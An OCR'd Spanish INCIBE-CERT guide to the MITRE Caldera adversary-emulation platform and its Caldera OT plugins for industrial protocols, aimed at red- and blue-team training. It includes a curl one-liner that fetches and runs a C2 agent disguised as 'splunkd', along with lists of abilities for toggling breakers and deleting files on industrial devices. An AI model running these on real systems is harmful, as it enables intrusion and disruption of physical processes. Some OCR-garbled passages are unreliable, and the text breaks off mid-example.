TLP:CLEAR

Uso de la herramienta

Caldera OT

TLP:CLEAR



TLP:CLEAR
Financiado por Plan de o | H
- la Unién Europea O I TN DAL ZClsipt savo Recuperacién, O I rl C IbE -

Y DE LA FUNCION PUBLICA TC ek ARTRCAL Transformacién
NextGenerationEU Q. Resiliencia INSTITUTO NACIONAL DE CIBERSEGURIDAD

Septiembre 2024
INCIBE-CERT_ESTUDIO_CALDERA_OT_2024 v1.0

La presente publicacion pertenece a INCIBE (Instituto Nacional de Ciberseguridad) y esta bajo una licencia Reconocimiento-No
comercial 3.0 Espafia de Creative Commons. Por esta razon esta permitido copiar, distribuir y comunicar publicamente esta obra
bajo las condiciones siguientes:

* Reconocimiento. El contenido de este informe se puede reproducir total o parcialmente por terceros, citando su procedencia
y haciendo referencia expresa tanto a INCIBE o INCIBE-CERT como a su sitio web: https://www.incibe.es/. Dicho reconocimiento
no podra en ningun caso sugerir que INCIBE presta apoyo a dicho tercero o apoya el uso que hace de su obra.

* Uso No Comercial. El material original y los trabajos derivados pueden ser distribuidos, copiados y exhibidos mientras su uso
no tenga fines comerciales.

Al reutilizar o distribuir la obra, tiene que dejar bien claro los términos de la licencia de esta obra. Alguna de estas condiciones
puede no aplicarse si se obtiene el permiso de INCIBE-CERT como titular de los derechos de autor. Texto completo de la licencia:
https://creativecommons.org/licenses/by-nc-sa/3.0/es/.

TLP:CLEAR

USO DE LA HERRAMIENTA CALDERA OT 2



https://www.incibe.es/
https://creativecommons.org/licenses/by-nc-sa/3.0/es/
https://creativecommons.org/licenses/by-nc-sa/3.0/es/

Financiado por Plan de o | H

iA : GOBIERNO  MINISTERIO Recuperacién, I I IC I E
la Unién Europea DE ESPANA muummsggmmmmerm %i%%%::w Transformacién ¢ I
NextGenerationEU YOELARINCION RUBLICA QA v Resiliencia INSTITUTO NACIONAL DE CIBERSEGURIDAD

Indice

Yo o =T =T] = W LU - USRS 5
2 [0} o Yo [U T oT o1 1o ] o VR UTR TR UT TR PRTROPRPR 6
3. Organizacion del dOCUMENTO .....uuuiiiie e 7
4. EMUIACION A AUVEISAITOS - oneeee e 8
ST 01 Lo [=1 - O 10
5.1, INStAlACION CAIUOIA ... e e e 10
5.1.1. InstalaciOn CON aCCES0 A INTEINET. ......cvuiie et e e 10
5.1.2. Instalacion Sin @CCES0 @ INEEIMET ... ....veeiee e 10
5.1.3. Instalacion Mediante DOCKEN ........oee e 11
5.2. Acceso a la plataforma Caldera.............ccoovvvviiiiiii e 11
5.2.1. Distribucién de la plataforma Caldera ...............eeeviieeiiiiiiiiiiiiieeeeeee 13

SR Or: 1o [=1 - W O 1 IR 18
7. Aplicabilidad Red TeaAM ......cccceceiiiiiiie e 21
8. Aplicabilidad Blue TeaM ......ccooeeeeeeeeeee e 29
. CONCIUSIONES . e 31
d0. RO I N CIAS - eeeee e et 32

INDICE DE FIGURAS

llustracién 1: Piramide BAD (Build, Attack, Defend) ..........ccccveiiiiiiiiiiiiie e 8
(10153 (=Tl o) o JZal o o 1 [ @F= 1o [=1 - USRS 12
llustracién 3: Usuarios y contrasefias almacenados en los archivos local.yml o default.yml........... 12
HUSEracion 4: EQUIPO GZUL .......oiiiiiiiie ittt sttt e et e e e st e e e et e e e esbeeeeenntaeeeennees 13
(101 (= Vol o) o TR o [ U] o Lo N o] [o OSSR 13
Hustracion 6: MeNU PrINCIPAL.........uuiii it b e e et e e e e 14
llustracion 7: Desarrollo de UN QQENTE .........uiii ittt 15
HUStracion 8: HabilIAAUES .........couuiiieiiiiie ettt e et ee e e e st e e e e nntaeeeennees 15
llustracion 9: Perfil del a0VEISAIiO .........uvieiiiiiiiiiiie et e e e e e e e e e s eneeeeeeeaeaanns 16
llustracion 10: StOCKPIlE PIUGIN ... ..eiiiiiiii e e e e 17
[1T01S3 (= Vel To) o B A I =Vl 1 o N o] T 1o O PSP 17
1013 (= oo ) o I 2 = [N o 1 L O TPRR 18
HUSEFACION 132 PIUGINS ..eeeiiiiiiiiieiitee ettt ettt ettt e e ettt e s e b e e e aab e e e enbbe e e e enbeeeeeneee 19
HUStracion 14: DNP3 ADIITIES ....c..ueiieiiiiie ettt s e e et e e e s sbee e e e st e e e e ntaeeeennees 19
llustracion 15; IEC 61850 ADIIILIES .........eveiiiiiieiiiiee ittt s e e st e e s s sbee e e e sbee e e e nnreeeeennees 20
lustracion 16: MoADUS ADITITIES ......c.ciiriiieiiiiie et e e e e et e e e e e 20
llustracidn 1: Comandos para la creacion del agente ...........oeveeiieiiiiiiiiee e 21
llustracion 2: Despliegue el @ENTE ........cociuiie it e bee e e e nnree e e e nnees 22
[V = Yot {o] g JRC AV =T a1 (= TN0 [=1S] o] =T - To [ R PSR 22
llustracion 4: Creacion de la habilidad ... e 23
llustracion 5: Creacion de la habilidad ............cooiviiiiiiiiie e e 23
llustracion 6: Creacion A& OPEIACION.........ccuuiieiiiiiee ittt e s sttt e s st e e e stbee e s ssbeeeaasbeeeeansteeeesnsreeeesnnees 24
llustracién 7: Introduccion de las habilidades en la operacion............ccccccvvecciiieeiee s 25
llustracion 8: Habilidades ULIZAAAS ..........ccuviieiiiiiieiiiiie et nee e e e 25

TLP:CLEAR

USO DE LA HERRAMIENTA CALDERA OT 3




- Ia Unisn Europea ﬁi Rl mren  $INCIDE_

NextGenerationEU jtoEtA EHciChletich ‘ ¥ Resiliencia INSTITUTO NACIONAL DE CIBERSEGURIDAD
HHUSEracion 9: PUEIOS ADIEIMOS...........ooviiiiiiiiieeeeeee e 26
llustracion 10: USUANIOS I0CAIES...........ocviiiiiiiiiiie e 26
llustracion 11: AdVEersario BACNET .........coiviviiiiiieeeeeeeeeee e 27
llustracion 12: OPeracCion BACKET .......uuiii ettt e et e e e e e s e e e e e s s st e e e e e e e s ssntraneeeaeeeeaanns 27
VR = Tod o] g I RS T @] o1=T = Tod o] g Mo [T L = Lo [ 1= PSR 28
llustracion 14: Habilidades del BlUE TEAM ..........oovvviiiiiiiiieeeeeeeeee e 29
USEraCiON 15: AQENTE CrEAUD. ... ..iiiieie ittt etie ettt ettt e sh et e e sbe e ssbe e e sbeeesbbe e snbeaesnbeeaneeas 30
(VB = Yot [o ] T K T @ o1=T = Tox o o PSRRI 30

TLP:CLEAR

USO DE LA HERRAMIENTA CALDERA OT 4




TLP:CLEAR
Financiado por Plan de o | H
- la Unién Europea ﬁ.} Seezmn | i) ACONDIGITAL | S be e i idonaot O inc IbE —_

NextGenerationEU EDEARINCIONRUBLICH QA v Resiliencia INSTITUTO NACIONAL DE CIBERSEGURIDAD

1. Sobre esta guia

Esta guia busca que el lector pueda comprender como funciona la plataforma Caldera vy,
sobre todo, focalizarse en la extensién que existe para el mundo industrial denominado
Caldera OT.

Para ello, se realizara una pequefia introduccion sobre los diferentes equipos que existen
en el mundo de la emulacion de adversarios para, posteriormente, realizar una explicacion
del porqué de la creacion de dicha plataforma y de cdmo realizar la instalacion en un
dispositivo.

La siguiente fase serd explicar el funcionamiento de la maquina, de qué esta constituido y
cémo poder introducir los plugins relacionados con el mundo industrial.

Finalmente, se realizardn diferentes ejemplos para que el lector vea el uso de dicha
plataforma y encuentre ayuda para conseguir una mayor facilidad de uso en dicha
plataforma.
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2. Introduccion

En estos ultimos afos, el continuo crecimiento de ciberataques a los entornos industriales
ha preocupado considerablemente a los expertos de la ciberseguridad, ya que se trata de
entornos que pueden ocasionar grandes conflictos tanto a nivel econémico como a la
integridad fisica de los seres vivos.

Debido a esta tendencia, muchos expertos del mundo de la ciberseguridad industrial
estaban realmente preocupados, ya que, para poder evitar esos ciberataques, se tendria
gue necesitar una gran cantidad de recursos econdmicos y contar con un personal
altamente cualificado, con conocimientos para solventar los problemas que conllevaria
sufrir un incidente de ciberseguridad.

Por ello, las organizaciones de MITRE y CISA (Cybersecurity and Infrastructure Security
Agency) decidieron colaborar para poder crear una herramienta de cédigo abierto que
pudiera emular diferentes tipos de ciberataques, basandose en las diferentes técnicas,
tacticas y procedimientos que utilizan. De esa forma, nacié la herramienta Caldera, una
plataforma pensada para realizar diferentes tipos de simulaciones, ya que permite la
creacion de una gran cantidad de dispositivos simulados que se pueden atacar mediante
diferentes tipos, basandose en las técnicas y tacticas de MITRE vy utilizando diferentes
métodos.

Por esta razén, dicha plataforma sera muy importante en un futuro proximo, ya que se
podran llevar a cabo simulaciones muy realistas, permitiendo implantar nuevas mejoras
en el mundo de la ciberseguridad, como, por ejemplo, mejoras en los dispositivos fisicos,
programacion de las actividades a realizar tras sufrir un ataque parecido al simulado o
incluso mejoras de los ciberataques que se han realizado.
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3. Organizacion del documento

El tema principal del presente documento es la plataforma Caldera, con un interés especial
en la expansion de Caldera OT. Para ello, el primer punto: 4. Emulaciéon de adversarios,
intenta introducir al lector en el mundo de las simulaciones y de cédmo estan trabajando en
las organizaciones que utilizan esta tecnologia. Una vez asentadas las bases, se habla de
la plataforma: 5. Caldera. En este apartado se explicaran las necesidades que han visto
los expertos en ciberseguridad para tener que desarrollar dicha plataforma, ademas de las
diferentes formas de instalacion existentes, seguidas de como se encuentra distribuido
dicha plataforma.

El apartado 6. Caldera OT explica como instalar los plugins especificos para poder simular
entornos relacionados con el mundo industrial. En el apartado 7. Aplicabilidad Red Team
se recogeran varios ejemplos para el uso de la plataforma Caldera relacionado con el Red
Team y toda la informacién que se puede obtener.

En el apartado 8. Aplicabilidad Blue Team se muestran ejemplos de como usar esta
plataforma relacionandolo con el mundo del Blue Team. Ademas, se podra observar
informacién que podra ser utilizada en un futuro.

Finalmente, el apartado 9. Conclusiones expone un breve resumen donde se juntaran
todas las ideas principales de esta guia, de forma clara y concisa, sobre la plataforma
Caldera.

TLP:CLEAR

USO DE LA HERRAMIENTA CALDERA OT 7




TLP:CLEAR
Financiado por Plan de s iNncibe
.. R ién,
la Unién Europea m :;‘ABTT?ANWMONMGWAL BB Tre:nus‘;::rancalgi':sn <¢ I

AUZACH
PoBL EINTELGENCIN ARTFICAL
NextGenerationEU EDEARINCIONRUBLICH QA v Resiliencia INSTITUTO NACIONAL DE CIBERSEGURIDAD

R

4. Emulacion de adversarios

Antes de empezar a ver en detalle todas las caracteristicas y ventajas que puede llegar a
ofrecer la plataforma Caldera, se va a explicar una de las ideas principales en que se basa
esta herramienta, la denominada emulacién de adversarios.

La emulacion de adversarios es un tipo de prueba de seguridad ofensiva donde se busca
simular las diferentes técnicas de algun ataque especifico para asi poder entender si la
organizacion afectada posee las capacidades necesarias para poder detectar, responder y
mitigar el ciberataque realizado.

Generalmente, para este tipo de ejercicios, se construye un escenario basado en una
determinada metodologia establecida por los responsables de ciberseguridad de la
organizacion, ya que se intenta que la simulacion del ataque sea lo mas realista posible,
utilizando las mismas t4cticas, técnicas y procedimientos que un atacante pueda realizar.
Por eso, esta fase es muy importante. Después de crear dicha metodologia, sera ejecutada
por diferentes equipos, los mas destacados son el equipo que realiza en ataque (Red
Team?') y el equipo que intentard defender la organizacion tras recibir dicho ciberataque
(Blue Team). Ademas, debido a la evolucién y complejidad del mundo de la ciberseguridad
se han ido afiadiendo mas equipos, como, por ejemplo, el Purple Team?, que se basa en
la colaboracion de los dos equipos mencionados anteriormente para realizar cambios en la
defensa, teniendo diferentes conocimientos del ataque que se va a realizar.

A continuacion, se podran observar los diferentes equipos que pueden estar implicados,
dependiendo de los recursos que se quiere dar a este tipo de actividades.

(construir)

A

Naranja Verde
(cambios en la (cambios en la
construccion en funcion construccidn en funcién
de los conacimientos de los conocimientos
del atacante) BU I LD del defensor)

ATTACK
Red DEFEND Azul

(ataque) (defensa)
THE BAD PYRAMID

Morado

(cambios en la defensa teniendo
los conocimientas del defensor)

llustracion 1: Piramide BAD (Build, Attack, Defend) 2

1 https://www.incibe.es/incibe-cert/blog/red-team-aguas-misteriosas
2 https:/iwww.incibe.es/incibe-cert/blog/purple-team-incrementa-la-efectividad-del-red-team-y-blue-team-en-sci

3 https://i0.wp.com/rsk-cyber-security.com/wp-content/uploads/2022/08/purple-teaming-grpah.png?w=780&ssl|=1
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Otra de las ventajas que puede ofrecer este tipo de ejercicios es que permite evaluar la
madurez del estado de ciberseguridad de la organizacion, permitiendo mejorarla en los
diferentes procesos existentes, modificar los roles de seguridad, redimensionar el nimero
de trabajadores en el SOC, etc.
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5. Caldera

La plataforma Caldera es una plataforma de emulacién realizada en cédigo abierto, creada
por la organizacion MITRE ante la preocupacion por el crecimiento de ciberataques que se
estan realizando y por la constante evolucion de estos. Ademas, gracias a esta plataforma
se pueden reducir notablemente los costes, optimizando los recursos, lo que permite que
empresas de menor capacidad econOmica también puedan mejorar su nivel de
ciberseguridad.

A continuacion, se explican las diferentes formas de instalacion que permite esta
plataforma, asi como las opciones mas importantes para poder utilizar la multitud de
posibilidades que ofrece.

5.1. Instalacion Caldera

Antes de entrar a explicar el proceso de instalacién, hay que resaltar que esta plataforma
consta de dos componentes principales:

m Elsistemacentral, donde se incluye un servidor asincrono de mando y control (C2)
con una APl REST y una interfaz web.

® Los plugins: repositorios independientes que cuelgan del marco central y
proporcionan funciones adicionales, como colecciones TTPS, interfaces GUI, etc.

En cuanto a los requisitos previos para la instalacion de Caldera, estos son:
B Un sistema operativo Linux o0 macOS.
® Una version de Python 3.8 o menor.
B Un buscador moderno, como, por ejemplo, Google Chrome.
B Ellistado de paquetes que se encuentra en el archivo de requerimientos.

5.1.1. Instalacidon con acceso a Internet

Si el activo donde se va a instalar tiene acceso a Internet, la instalacion de la plataforma
Caldera se puede hacer facilmente siguiendo los siguientes cuatro comandos:

git clone https://github.com/mitre/caldera.git --recursive
cd caldera

pip3 install -r requirements.txt

python3 server.py --insecure

5.1.2. Instalacién sin acceso a Internet

Para instalar Caldera en un dispositivo sin acceso a Internet, es necesario un dispositivo
que si pueda acceder a Internet para poder descargar la herramienta. Una de las
condiciones méas importantes para realizar esta modalidad es que ambos dispositivos
tengan la misma version de sistema operativo y de Pyhton.

Después de cumplir las anteriores condiciones, se podra descargar la plataforma utilizando
los siguientes comandos:

| git clone https://github.com/mitre/caldera.git --recursive --branch x.x.x |

TLP:CLEAR
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mkdir caldera/python_deps
pip3 download -r caldera/requirements.txt --dest caldera/python_deps

Cuando esta descarga se haya finalizado se tendra que enviar el fichero “caldera” al
dispositivo donde se quiere instalar. Finalmente, en el dispositivo donde se quiere instalar
se utilizara el siguiente comando para iniciar la instalacion:

| pip3 install -r caldera/requirements.txt --no-index --find-links caldera/python_deps |

5.1.3. Instalacion mediante Docker

Este método de instalacién es uno de los mas complicados, ya que el usuario necesita
tener un cierto conocimiento sobre el mundo del Docker. El primer paso seria clonar el
repositorio de Caldera utilizando el siguiente comando:

| git clone https://github.com/mitre/caldera.git --recursive --branch x.x.x |

El siguiente paso, seria construir la imagen de un Docker. Para ello, se utilizara el siguiente
comando:

cd caldera
docker build --build-arg WIN_BUILD=true . -t caldera:server

Finalmente, se pondra a funcionar el Docker del servidor de Caldera. En este caso, se
puede utilizar el puerto que mejor convenga al usuario. Para que se ponga a funcionar se
utilizara el siguiente comando:

| docker run -p 7010:7010 -p 7011:7011/udp -p 7012:7012 -p 8888:8888 caldera:server

5.2. Acceso a la plataforma Caldera

Una vez instalada la plataforma Caldera, el siguiente paso es arrancarlo. Para ello, habra
gue acceder a la carpeta caldera y después introducir el siguiente comando:

python3 server.py

Cuando la plataforma se haya levantado correctamente se tendra que abrir un navegador
y poner en el buscador localhost:puerto. Normalmente, el puerto utilizado es el 8888.
Si todos los pasos anteriores se han realizado correctamente, deberia aparecer la siguiente
pagina.
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CALDERA

Username

Password

llustracion 2: Login Caldera

Ahora se necesitaria introducir el usuario y contrasefia. Para ello, se tendria que ir al
archivo “local.yml” o “default.yml” que se encuentran en la carpeta “conf’ de caldera. En
estos archivos se encuentran los usuarios y contrasefias tanto para utilizar el equipo azul
como el equipo rojo. Ademas, en este apartado es donde se pueden cambiar los usuarios
y las contrasefias si fuese necesario.

llustracion 3: Usuarios y contrasefias almacenados en los archivos local.yml o default.yml

Después de introducir las credenciales correctas, se podra acceder a la siguiente interfaz:

USO DE LA HERRAMIENTA CALDERA OT 12 [ILP:CLEAR
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CALDERA

& bue

defenders.
operations Select a tab on the left to get started

# PLUGINS

compass
fieldmanual &
response
sandcat
stockpile

training

& CONFIGURATION

planners

llustracion 4: Equipo azul

CALDERA

& red

operations
Select a tab on the left to get started
# PLUGINS

compass
debrief
fieldmanual &
manx

sandcat
stockpile
training

URATION

llustracion 5: Equipo rojo

5.2.1. Distribucién de la plataforma Caldera

Como se puede observar en la siguiente imagen, la plataforma esta agrupada en tres
grandes grupos, que son: campaigns, plugins y configuration, que a su vez estan formados
por varios subgrupos.
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M CAMPAIGNS

agents
abilities
defenders

operations
- PLUGINS

compass
fieldmanual &
response
sandcat
stockpile

training

B CONFIGURATION

fact sources
objectives
planners
contacts
obfuscators
configuration
exfilled files

api docs &

llustracion 6: Menu principal

En este caso, los subgrupos mas importantes y que se encuentran en el apartado
“Campaigns” en los dos tipos de equipos (rojo y azul) son agents, abilities, adversaries y
operations.

B Agents: se trata de un conjunto de programas de software que se conectan a la
plataforma Caldera en determinados intervalos para poder recibir instrucciones.
Dichos agentes se comunican con el servidor Caldera a través de un método
concreto, definido inicialmente en la instalacion del agente. En este caso, hay varios
tipos, entre los cuales estan:
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Sandcat: consiste en un agente GoLang que puede comunicarse a través
de varios canales C2, como el protocolo HTTP, GIST de Github o DNS.
Manx: se trata de un agente GoLang que se puede comunicar a través del
contacto TCP y funciona como un reverse-shell.

Ragdoll: es un agente Python que se comunica a través del contacto HTML.

Deploy an agent

through the HTTP{S) contact by default.

llustracion 7: Desarrollo de un agente

Los agentes creados pueden ser colocados en un grupo, independientemente de si
se han instalado por la linea de comandos o editando el agente en la interfaz de
usuario. Estos grupos sirven para determinar en qué equipo se encuentra dicho
agente y que habilidades se van a ejecutar.

® Abilities: se trata de una implementacion especifica de la tactica y técnicas de
MITRE ATT&CK que se puede ejecutar en los agentes creados y en
funcionamiento. En estas habilidades estan incluidos los comandos que se van a
ejecutar, las plataformas en los que es posible la ejecucion de los comandos, etc.

Abilities
An ability is a specific ATT&CK lechnique implementation which can be executed on running agents. Abilities will include the command(s) to run, the platforms / executors the commands can run on (ex: Windows / PowerShell),
payloads to include, and a refe 0 @ module to parse the output on the CALDERA server.

Filters 1-min sleep (T1497.003)

Search Pause

crede

ADFS token signing and encryption certificates theft - Remote (T15! AMSI Bypass - AMSI InitFailed (T1562.001)
Technique

Al
Plugin

All "
i AMSI Bypass - Remove AMSI Provider Reg Key (T1562.001)
# darwin
@ linux
¥ unknown
@ windows

1676 / 1676 abilities
L

ATHPowerShellCommandLineParameter -Command parameter variations ATHPowerShellCommandLineParameter -Command parameter variations with
(T1059.001) encoded arauments (T1059.001)

llustracion 8: Habilidades
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m Adversary: son los grupos de habilidades que representan las tacticas, técnicas y
procedimientos disponibles para un actor de amenazas. Estos perfiles son
utilizados tras poner en funcionamiento una operacion que determine las
habilidades que seran ejecutadas.

Adversary Profiles

Adversary Profiles are collections of ATT&CK TTPs, designed to create specific effects on a host or network. Profiles can be used for offensive or defensive use cases.

Select a profile N ofle 44§ Import

Create a profile

Profile Name.

Profile Description

llustracion 9: Perfil del adversario

B Operations: consiste en ejecutar las habilidades en los grupos de agentes. Para
ello, se utilizaran los perfiles de adversario que sirven para determinar las
habilidades que se ejecutaran y los grupos de agentes que sirven para determinar
en qué agentes se ejecutaran las habilidades.

En cuanto al orden en el que se ejecutaran las habilidades, se determinara por el
planificador. En este caso, hay varios planificadores incluidos, como, por ejemplo:

Atomic: ejecuta las habilidades en el perfil del adversario de acuerdo con el
orden atomico del adversario.

Batch: ejecuta todas las habilidades del adversario al mismo tiempo.
Buckets: ejecuta las habilidades del perfil del adversario agrupadas por la
tactica ATT&CK.

Una vez que se ha ejecutado una o varias habilidades en una operacién, se tendra
que generar un enlace para cada agente si se han realizado correctamente los
siguientes cumplimientos:

Se han cumplido todos los requisitos de hechos y hechos del enlace.

El agente tiene un ejecutor en el que la habilidad esta configurada para
ejecutarse.

El agente alin no ha ejecutado la habilidad o la habilidad estd marcada como
repetible.

Por otro lado, destaca el apartado plugins, ya que proporciona a la plataforma Caldera de
funcionalidades extra. Algunos de los mas importantes ya se encuentran incluidos en la
propia herramienta, como, por ejemplo:
Sandcat: este agente se recomienda para los nuevos usuarios.
Stockpile: este plugin es uno de los mas completos, ya que contiene la
mayoria de las habilidades, adversarios, planificadores y ofuscadores de
cédigo abierto creados por el equipo de Caldera.

TLP:CLEAR

USO DE LA HERRAMIENTA CALDERA OT 16




*
* *
* *
* B

Py

Financiado por
la Unién Europea
NextGenerationEU

CALDERA

operations

& PLUGINS

CALDERA

=¥ GOBIERNO

1

"> DEESPANA
b S
:EA

sandcat X  stockpile %X

Stockpile

MINISTERIO

Y DE LA FUNCION PUBLICA

PARA LAT‘RANSFOR"{MCION DIGITAL

sincibe_

INSTITUTO NACIONAL DE CIBERSEGURIDAD

Plan de
Recuperacién,

Transformacién
‘ y Resiliencia

SECRETARIA DE ESTADO
DE DIGITALZACION
EINTELIGENCIA ARTHICIAL

The stockpile plugin contains a collection of TTPs (abilities). adversary profiles, data sources and planners. These can be used to construct dynamic operations against targeted hosts.

View or edit these abilities and adversaries on their respective pages.

llustracion 10: Stockpile plugin

Training: el plugin de entrenamiento guia a los usuarios a través de la
mayoria de las funcionalidades que es capaz de ofrecer dicha plataforma.

training X

Training

-

D Locaiagent o9
Demonstrate your ability to depioy an agent on local host.
The agent should successfully beacon back 1o this server

Instance.

Ensure that new agents will be named "super_scary”
downloaded on any host. Note that the extension is

automatically appended i necessary.

Select a certificate

I Remote agent

Demonstrate your abiity to deploy an agent on a remote
host. The agent should succassfully beacon back to this
server instance. This agent should be run on an operating
system that s NOT the same as what s hosting the server
(HInt f running caidera on any flavor of Linux, use a
Windows or Mac for remote hos). It s OK to use a virtual

box to complete this challenge.

v

=] : o ©

ing a Stockpile abillty, ensure new agents automatically

Tun "whoami” on their first beacon. Locate the ability that

executos this command and enter the ability id as a

[ Unde

Change the untrusted agent timer to 60 seconds.

Pick any agent and change the group and sleep (min and

max) values associate

I Contact poies

Deploy a new agent, using  different contact point thy Kill one of your agents through the GUI
your first agent

i red-team ¢ nts, operators ohen need k

llustracion 11: Training plugin

Ademas de estos plugins, que ya estan instalados, se pueden afiadir muchos mas, como,
por ejemplo, los que estan basados especificamente en los entornos industriales.
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6. Caldera OT

Debido a las grandes ventajas que ofrece la plataforma Caldera para simular atagques y con
la tendencia actual de ciberataques contra el sector industrial, con una complejidad cada
vez mayor, decidieron crear una extension denominada Caldera OT.

Esta extensidén consiste en aumentar el nimero de plugins con protocolos del &mbito
industrial, como son: BACnet, DNP3, Modbus, Profinet e IEC61850, que permitiran realizar
diferentes simulaciones para mejorar la ciberseguridad en este tipo de organizaciones.

Para conseguir afiadir estos plugins a la plataforma Caldera, se tendran que realizar los
siguientes pasos:

® El primer paso consiste en descargar los plugins del repositorio. Para ello, se tendra
que utilizar el siguiente comando:

git clone https://github.com/mitre/caldera-ot.git --
recursive

Una vez descargados, se tendran que mover a la carpeta “caldera/plugins”. Cuando
ya se ha realizado este paso hay que introducir los nuevos plugins en la lista que
habia en los archivos “local.yml” o “default.yml”, quedando de la siguiente forma:

access
atomic
compass
debrief
fieldmanual

- manx
response
sandcat
stockpile
training
bacnet
dnp3

- modbus
profinet
1ec61850

llustracion 12: Plugins

Cuando todos los pasos que se han explicado anteriormente se han realizado de
forma correcta, se podré observar que se han afiadido al usuario del equipo rojo.

TLP:CLEAR
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P PLUGINS

access
atomic
bacnet
compa

debrief

dnp3
fieldmanual &
iec61850

mar

modbus
profinet
sandcat
stockpile

training

llustracion 13: Plugins

Finalmente, si seleccionamos alguno de estos plugins, apareceran las diferentes
capacidades relacionadas con el protocolo en cuestion. A continuacién, se podran
observar algunos ejemplos:

Abilities
unction impact
DNP3 Warm Restart (T0816: Device DNP3 Toggle ON Breakers SBO (T0831:
Restart/Shutdown) Manipulation of Control)
DNP3 Function Code 1

imand tc

impact impact impact impact
DNP3 Toggle ON Breakers DO (T0831: DNP3 Toggle OFF Breakers DO (T0831: DNP3 Modulate Breaker SBO (T0831: DNP3 Toggle OFF Breakers SBO (T0831:
ition of Control) Manipulation of Control) Manipulation of Control) Manipulation of Control)
5 (0x05) DIRECT_OPERATE Code 5 (0 A on Co 0 D! Inction C

DNP3 Function
using the dire

impact impact ection collection
DNP3 Ranged Modulate Breaker SBO (T0831: DNP3 Modulate Breaker DO (T0831: DNP3 Read (T0802: Automated Collection) DNP3 Enable Unsolicited Messages (T08C
Manipulation of Control) Manipulation of Control) 5 Automated Collection)

CT_OPERATE ) oy 4) ENABLE_UNSOLICITED
d by the

ng the direct-

llustracion 14: DNP3 Abilities
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Abilities

collection
IEC 61850 - Get Data Attributes (T0861: Point &
Tag Identification)

inhibit response-function collection
IEC 61850 - Delete Data Set (T0809: Data IEC 61850 - Get Logical Devices (T0802:
Destruction) Automated Collection)

inhibit-response-function

IEC 61850 - Delete File (T0809: Data Destruction)

IEC 61850 DeleteFile
ommand is used to delete a file from a server. perDifacioey)

read the list of

ad any data
function GetNameL w another data attribut

holds deletable data sef

collection collection collection
IEC 61850 - Get Logical Nodes (T0802: IEC 61850 - Get Value (T0801: Monitor Process
Automated Collection) State)

collection
IEC 61850 - Get Reports (T0802: Automated
Collection)

IEC 61850 - Get Data Sets (T0802: Automated
Collection)

the lst of data sets from a server. IEC 61850 Service: GetServerDirectory IEC 61850 Service: GetDataValu
is deletable d is used to read the st of This command is used to r f a data attribut
attibute name must be fully qualified. The functional constraint

This command is used to
Output will also indicate whether the data

This functionality does not map directly to an IEC 61850 s
MMS fu function GetNameLi must be provided either by using the - flag or it may be appended

o the data attribute name in square bra

This command is used to read the list of reports published by

ot map directly to an IEC 61850 sen

collection

collection
IEC 61850 - Get Log Blocks (T0802: Automated
Collection)

This command is us d the list oflog control blocks (LCB)

from a server and the associated with the LCB. When
ing the data model, log control blocks are assumed to be in

collection
IEC 61850 - Get Files (T0802: Automated
Collection)
IEC 61850 S File

This command is used to read the list of files on a server.

aps to MMS function FileOpen.

IEC 61850 - Get Data Objects (T0802: Automated
Collection)

IEC 61850 - Get Log (T0801: Monitor Process
State)
IEC 61850 Service: QueryLogAfter

This command is used to read the entries of a s
query the log after the oldest (frst) entry

node zero (LLNO). Maps to MMS function ReadJournal
This functionality does not map directly to an |

llustracion 15; IEC 61850 Abilities

impac impact
Modbus Write Single Register (TO831:
Manipulation of Control)

impact
Modbus Write Multiple Registers (T0831:
Manipulation of Control) Control)

Modbus Write Multiple Coils (T0831: Modbus Fuzz Registers (T0831: Manipulation of

Manipulation of Control)

Modbus Nrite Single Register

Modbus Function 15 (0xOF): Wite M

impact

Modbus Fuzz Coils (T0831: Manipulation of Modbus Write Single Coil (T0831: Manipulation
Control) of Control)

Modbus Read Holding Registers (T0861: Point
& Tag Identification)

Modbus Read Input Registers (T0861: Point &
Tag Identification)

Wite Singl

ntiguous input

ified ranges ddressing starts at 0 (e.g. input

collection
Modbus Read Discrete Inputs (T0861: Point &
Tag Identification)

Modbus Read Coils (T0861: Point & Tat
Identification)

llustracion 16: Modbus Abilities
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7. Aplicabilidad Red Team

Tras la explicacion tedrica que se ha realizado a lo largo del documento, se van a mostrar
unos ejemplos précticos para ofrecer una mayor comprension de la plataforma Caldera.

El primer paso sera crear un agente. Para ello, la plataforma Caldera genera un cddigo que
se puede introducir en el servidor que se crea conveniente. En este caso, se creara un
Sandcat en un entorno Linux. Para ello, solo hace falta abrir el terminal y pegar todo el
cbdigo, tal y como se muestra en las siguientes imagenes:

Deploy an agent

Agent

Sandcat | CALD fault agent, written in GoLang. Communicates through the HTTP ntact by default. w
Platform
O |4 = @
all linux windows  darwin
app.contact.http Nt
agents.implant_name  splunkd

agent.extensions

A sh CALDERA's default agent, written in GoLang. Communicates through the HTTP(S) contact by default.

Copy

server="http://0.0.0

curl - POST -H "file:sandcat.go" -H "platform:linux" $server/file/download > splunkd;
chmod splunkd;

./splunkd -serv $server -group red -v

llustracion 17: Comandos para la creacion del agente
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L server="http://0.0.0.0:8888";curl -s -X POST -H "file:sandcat.go" -H "platform:linux" $ser

ver/file/download > splunkd;chmod +x splunkd;./splunkd -server $server -group red -v
Starting sandcat in verbose mode.

[*] No tunnel protocol specified. Skipping tunnel setup.

[*] Attempting to set channel HTTP

Beacon API=/beacon

[*] set communication channel to HTTP

initial delay=0

server=http://0.0.0.0:8888

upstream dest addr=http://0.0.0.0:8888

group=red

privilege=User

allow local p2p receivers=false

beacon channel=HTTP

available data encoders=base64, plain-text

[+] Beacon (HTTP): ALIVE

[*] Running instruction f6cb3042-bc5b-4bd9-889d-057c7bf4eads

[*] Submitting results for link f6cb3042-bc5b-4bd9-889d-057c7bf4ead5 via C2 channel HTTP
[+] Beacon (HTTP): ALIVE

llustracion 18: Despliegue del agente

Una vez hecho esto, se podra observar en la plataforma de Caldera la sincronizaciéon con
dicho agente. En este caso, se cuenta con privilegios de usuario.

A8
CALDERA

2 nd

platform contact privilege

HTTR 3241 User

llustracion 19: Agente desplegado

El siguiente paso es crear o utilizar una habilidad ya creada que, como dijimos
anteriormente, consiste en realizar un ataque basandose en las tacticas y técnicas de
MITRE. En este caso, se creara una habilidad nueva. Para ello, se hace clic en el botén
“Create an Ability”. La nueva habilidad creada consiste en realizar un escaneo activo de los
puertos del dispositivo, para lo que se rellenaran los siguientes campos.

TLP:CLEAR
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Tactic
Technique ID
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Singleton
Repeatable

LI EREGEN]

platform linux

executor sh
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Tefdfaba-Dabl-41f8-92b5-cBd82d2atee2

Escaneo de los puertos del activo

Se realizara un ataque para escanear los puertos abiertos del activo atacado y conocer la configuracion en la que se encuentra
discovery

T1046

Network Service Scanning

Executors

+ Add Executor

